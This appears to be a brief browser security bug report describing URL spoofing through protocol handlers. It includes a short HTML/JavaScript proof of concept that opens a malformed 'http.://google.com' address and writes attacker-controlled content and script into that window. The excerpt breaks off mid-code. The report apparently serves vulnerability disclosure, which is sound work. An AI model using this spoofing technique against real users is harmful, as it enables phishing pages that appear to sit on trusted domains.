URL spoofing using protocol handlers

Summary: Navigation to protocol handler changes URL in the address bar (e.g. `ssh://google.com` in the address bar is standard behavior).

<body>
    <script>
        window.onclick = () => {
            x = window.open('http.://google.com')
            setTimeout(() => {
                x.document.write(`Hello Google.com! <button onclick="alert('I can run JS on this page!')">Click me!</button>`)
            }, 1000)
        } …